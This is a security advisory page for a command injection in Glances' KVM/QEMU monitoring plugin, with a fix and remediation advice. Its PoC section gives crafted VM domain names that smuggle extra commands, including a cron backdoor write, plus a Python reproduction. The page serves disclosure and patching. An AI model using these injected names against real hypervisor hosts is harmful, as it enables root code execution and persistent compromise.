Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attacker needs local libvirt privileges (PR:L) on the monitored host (AV:L); injection is deterministic (AC:L) and yields full code execution as the Glances user, so C/I/A:H.
Primary rating from Vendor (https://github.com/nicolargo/glances).
CVSS VectorVendor: https://github.com/nicolargo/glances
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances - commonly root on hypervisor hosts.
---
Details
Affected file: glances/plugins/vms/engines/virsh.py
Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204
The vulnerable calls are on lines 185 and 204:
# line 185 (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')
# line 204 (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')domain is the name string parsed from the output of virsh list --all (line 59-78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().
secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:
# glances/secure.py
def secure_popen(cmd):
ret = ''
for c in cmd.split('&&'):
# '&&' → two separate processes
ret += __secure_popen(c)
return ret
def __secure_popen(cmd):
for sub_cmd in cmd.split('|'):
# '|' → stdin/stdout piped
p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
# '>' is split separately for file redirectionBy contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
All three injection operators were verified:
| Operator | Effect | Confirmed |
|---|---|---|
&& | Second command executes after the virsh call | Yes |
| `\ | ` | Output of virsh piped to injected command |
> | virsh output redirected to arbitrary file | Yes |
---
PoC
Special configuration required
- Glances must be configured to monitor a KVM/QEMU hypervisor: the
vmsplugin must be enabled and/usr/bin/virshmust be installed and executable. - The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the
libvirtgroup, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account). - No custom
glances.confsettings are needed beyond a working virsh setup.
Step 1 - Create a VM with a crafted domain name
Using the && operator to chain a second command:
<domain type="kvm">
<name>productionDB && touch /tmp/glances_pwned</name>
<memory>131072</memory>
<vcpu>1</vcpu>
<os><type arch="x86_64">hvm</type></os>
</domain>virsh define evil-domain.xmlStep 2 - Start Glances with KVM monitoring enabled
glances
# or: glances -s / glances -wOn the next monitoring cycle Glances calls:
virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"which secure_popen() splits into two processes:
virsh domstats --nowait productionDBtouch /tmp/glances_pwned
Step 3 - Verify execution
ls -la /tmp/glances_pwned
# file will exist, owned by the Glances userPipe injection (|) example
Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"
The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.
File-write injection (>) example
Domain name: "productionDB > /etc/cron.d/glances_backdoor"
The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.
Minimal Python reproduction (no VM required)
import sys
sys.path.insert(0, '/path/to/glances')
# adjust to local clone
from glances.secure import secure_popen
# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`---
Impact
Vulnerability type: Command Injection (CWE-78)
Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights - a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.
Impact:
- Confidentiality: Full - arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.
- Integrity: Full - file-write injection (
>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.). - Availability: Full - the Glances process can be terminated or the host disrupted through the injected commands.
In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.
---
Suggested Fix
Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:
# virsh.py - replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE
result = run(
[VIRSH_PATH, 'domstats', '--nowait', domain],
stdout=PIPE, stderr=PIPE, timeout=5
)Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.
As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.
---
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
---
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
---
Articles & Coverage 1
AnalysisAI
Local privilege escalation via command injection in Glances 4.5.5_dev1 and earlier allows users with libvirt domain-creation rights to execute arbitrary commands as the Glances process owner (typically root on hypervisor hosts). The flaw lives in the KVM/QEMU monitoring plugin, where VM domain names parsed from virsh list --all are interpolated into command strings handled by secure_popen(), which intentionally treats &&, |, and > as control operators. No public exploit identified at time of analysis, but a detailed PoC accompanies the GHSA-v5r2-qh84-fjx5 advisory.
Technical ContextAI
Glances is a cross-platform Python system-monitoring tool (pkg:pip/glances) that includes a virtualisation plugin (glances/plugins/vms/engines/virsh.py) for inspecting KVM/QEMU guests via the virsh CLI. The plugin builds shell-style command lines with f-strings such as f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}' and dispatches them through secure_popen() in glances/secure.py, which splits on &&, |, and > before invoking subprocess.Popen(..., shell=False) for each fragment - turning those tokens into real pipeline and redirection operators despite the absence of shell=True. Because the domain value originates from libvirt-supplied VM names and bypasses the _sanitize_mustache_dict() helper already used in actions.py, this is a textbook CWE-78 OS Command Injection where the trust boundary between libvirt metadata and the monitoring host is broken.
RemediationAI
Vendor-released patch: 4.5.5 - upgrade Glances to version 4.5.5 or later (release notes https://github.com/nicolargo/glances/releases/tag/v4.5.5, advisory https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5), which replaces the vulnerable f-string interpolation with safer argument handling. If immediate upgrade is impossible, disable the vms plugin in glances.conf or uninstall /usr/bin/virsh on the monitored host so the vulnerable code path is never reached (trade-off: loses all KVM/QEMU VM visibility in Glances). As defence in depth, run Glances under a dedicated unprivileged service account granted only CAP_SYS_PTRACE instead of root, and audit/restrict membership of the libvirt group and any cloud-tenant APIs that can define or rename domains, since members of that group effectively gain code execution on the host once Glances polls them.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39516
GHSA-v5r2-qh84-fjx5